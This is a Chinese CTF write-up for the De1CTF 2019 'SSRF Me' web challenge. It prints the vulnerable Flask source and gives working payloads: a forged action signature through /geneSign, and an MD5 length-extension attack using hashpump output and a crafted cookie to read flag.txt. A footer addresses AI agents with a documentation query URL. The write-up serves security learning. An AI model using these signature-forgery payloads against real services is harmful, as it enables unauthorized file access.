# De1CTF 2019

## Web

### SSRF Me

```python
from flask import Flask 
from flask import request 
import socket 
import hashlib 
import urllib 
import sys 
import os 
import json 
reload(sys) 
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)


class Task: 
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
            os.mkdir(self.sandbox)
            
    def Exec(self): 
        result = {} 
        result['code'] = 500
        if (self.checkSign()): 
            if "scan" in self.action: 
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"): 
                    result['data'] = resp 
                else: 
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action: 
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
                if result['code'] == 500:
                    result['data'] = "Action Error"
                else: 
                    result['code'] = 500
                    result['msg'] = "Sign Error"
                return result
            
    def checkSign(self): 
        if (getSign(self.action, self.param) == self.sign): 
            return True 
        else: 
            return False #generate Sign For Action Scan. 
        

@app.route("/geneSign", methods=['GET', 'POST']) 
def geneSign(): 
    param = urllib.unquote(request.args.get("param", "")) # 将 param 的参数解码为原始的字符串形式，若为空则为空字符串
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST']) 
def challenge(): 
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())

@app.route('/') 
def index(): 
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try: 
        return urllib.urlopen(param).read()[:50] # 只返回URL内容的前50个字符
    except: 
        return "Connection Timeout" 

def getSign(action, param): 
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content): 
    return hashlib.md5(content).hexdigest()

def waf(param): 
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True 
    else: 
        return False 
    
if __name__ == '__main__': 
    app.debug = False
    app.run(host='0.0.0.0',port=80)
```

可以获得一个 Hint `flag is in ./flag.txt` ，目标就是要通过上述代码中的 Task::Exec 将 `flag.txt` 写入 `result.txt` 再读取 `result.txt` 获得 flag 。由于判断语句是通过 in 关键字来判断的，因此如果 `self.action` 中既有 read 也有 scan 即可同时执行。

首先需要通过 `checkSign()` ，先利用 `getSign()` 生成 Sign 可以得到 `md5(secert_key + param + action)` 。通过构造 Payload 如下

```
/geneSign?param=flag.txtread
```

即可得到 action 为 `readscan` 的 Sign ，如下

```
278aeedb3970f05c3fef9a85aaf08244
```

然后构造 Payload 如下来使得 `flag.txt` 写入 `result.txt` 再读取 `result.txt` 。

```
[GET]param=flag.txt
[Cookie]action=readscan;sign=278aeedb3970f05c3fef9a85aaf08244
```

就可以得到 flag 了，也可以通过 MD5 长度拓展攻击解决这道题，先获取 `md5(secert_key + flag.txt + scan)` 的值，构造 Payload 如下

```
/geneSign?param=flag.txt
```

可以得到回显如下

```
a62c5d4965f4123788ba12dceef01014
```

通过 `secert_key = os.urandom(16)` 可知 secert\_key 长 16 位，通过 hashpump 进行生成 Payload，如下

```shell
$ hashpump
Input Signature: a62c5d4965f4123788ba12dceef01014
Input Data: scan
Input Key Length: 24
Input Data to Add: read
c151ad5274e2e828bc2eb58f76e2a506
scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00read
```

就可以求出 `md5(secert_key + flag.txt + scan + padding + read)` 的值，通过构造 Payload 如下

```
[GET]param=flag.txt
[Cookie]sign=c151ad5274e2e828bc2eb58f76e2a506;action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read
```

即可得到 flag。


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://writeup.owo.show/de1ctf-2019.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
